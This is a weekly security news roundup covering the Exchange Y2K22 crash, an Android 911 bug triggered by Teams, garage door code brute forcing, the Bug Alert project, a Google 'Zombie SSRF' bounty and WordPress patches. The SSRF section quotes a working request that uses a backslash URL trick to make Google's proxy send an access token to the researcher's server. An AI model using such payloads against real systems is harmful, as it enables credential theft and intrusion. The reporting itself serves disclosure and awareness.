This Week in Security: Y2K22, Accidentally Blocking 911, and Bug Alert

If you had the misfortune of running a Microsoft Exchange server this past week, then you don’t need me to tell you about the Y2K22 problem. To catch rest of us up, when Exchange tried to download the first malware definitions update of 2022, the version number of the new definitions triggered a crash in the malware detection engine. The date is represented as the string 2201010001, where the first two digits represent the year. This string gets converted to a signed long integer, which maxes out at 2,147,483,647. The integer overflows, and the result is undefined behavior, crashing the engine. The server fails safe, not processing any messages without a working malware engine, which means that no e-mail gets through. Happy new year!

Android 911 Denial of Service

Dialing 911 for emergency services is pretty much the worst time for a software bug to manifest itself. Google just fixed such a bug in the January Android update. It’s one of those odd unintended app interactions — in this case Microsoft Teams triggering the Android bug. If the Teams app is installed, but no account logged in, Teams creates and registers a new PhoneAccount object on every launch. This sounds like it should be rare, but Teams on Android is also notorious for logging out the user spontaneously. When you dial 911, Android runs a routine to determine which PhoneAccount should be used to route the call, and solves ties by comparing hashes. That comparison is just a naive subtraction, meaning that there’s a 50% chance in getting a negative result. This was unanticipated, leading to the crash.

Garage Door Reverse Engineering

Reverse engineering a 30-year-old wireless authorization scheme may not be the most attention grabbing feat, but sometimes the journey is its own reward. [Maxwell Dulin] brings us the story, and this journey is certainly worth it. The fundamentals of this hack are definitely still viable, starting with looking at the hardware. The garage door is synced to the garage door opener by holding a pushbutton on the receiver while sending a code. Inside the opener, there are nine dip switches, each with three positions. What do they do? He pulled out his trusty SDR to grab the traffic and try to decode the signals. Inspectrum and GNU Radio were the heroes here, giving insight into this simple auth scheme. The conclusion on this actual garage door? You can brute force an unknown code by sending every possible combo, and it only takes 104 minutes.

BugAlert

If you’re a sysadmin, you know that some problems call for immediate action. If you ran Java servers, the Log4J vulnerability was a fire test of your response protocol. The time between public disclosure and whenever you heard about it, may have been enough to trigger disaster. While there are multiple bug reporting services and frameworks, nothing quite fits this niche use case: notifying you as soon as possible that your hair may truly be on fire. That unfilled niche bugged [Matthew Sullivan], who has announced a new project, Bug Alert. It’s all open source, so you can host your own instance if you really want to. You can opt to get a tweet, text, or even phone call. This has the potential to be a useful tool, take a look!

I feel like I need to make Bug Alert trigger a certain Weird Al song…

The Zombie SSRF

[David Schütz] was searching for obscure Google APIs, and discovered jobs.googleapis.com, which you can demo yourself. That demo is interesting, because it’s not a fully fleshed-out service, but talks to the real back-end. The requests go through a proxy, cxl-services.appspot.com, which handles the authentication step for the demo page. If he could trigger a Server-Side Request Forgery (SSRF), he might be able to get at the authenticated requests, and maybe trick the proxy into sending traffic on his behalf. URL parsing is hard. The trick that worked? A backslash in the url. GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1

With an access token in hand, [David] started carefully exploring other Google APIs to see what this token gave him access to. He gives the warning we’ve covered before, be careful how far you push. He could have reported the bug right away, but wanted to confirm that he actually had a live access token. After confirming the token worked for read access, he turned in the finding, and netted a very nice $3133.70, as well as an extra $1000 for a good report and the careful look at lateral movement. That’s all there is to it, right? Nope. Just before the 90 day disclosure deadline passed, [David] discovered a fix bypass. Adding any text between the backslash and @ was enough to break it. Another $3133.70. Just for fun, he probed the old URLs, that shouldn’t be in service after the fix. Yep, he found yet another security token, and netted $3133.70. This Zombie SSRF still isn’t dead, as evidenced on Twitter:

I told you, its unfixable! @n1nj4sec already bypassed the fix. So cool! Will you be the 4th one to bypass it and get $3k? Parsing a URL is really hard. pic.twitter.com/5xmg5tbybw

— David Schütz (@xdavidhu) January 2, 2022

WordPress Update

If you haven’t set your WordPress instance to update automatically, it’s time to go check for the latest version. There are four potentially dangerous issues here, though the details are scarce at this point. First up is a Cross-Site Scripting vulnerability in post slugs, the part of the URL that matches the post name. The second issue mentioned is object injection in some multisite configurations. The last two vulnerabilities are SQL injections, definitely worthy of the “What Year is It?” meme.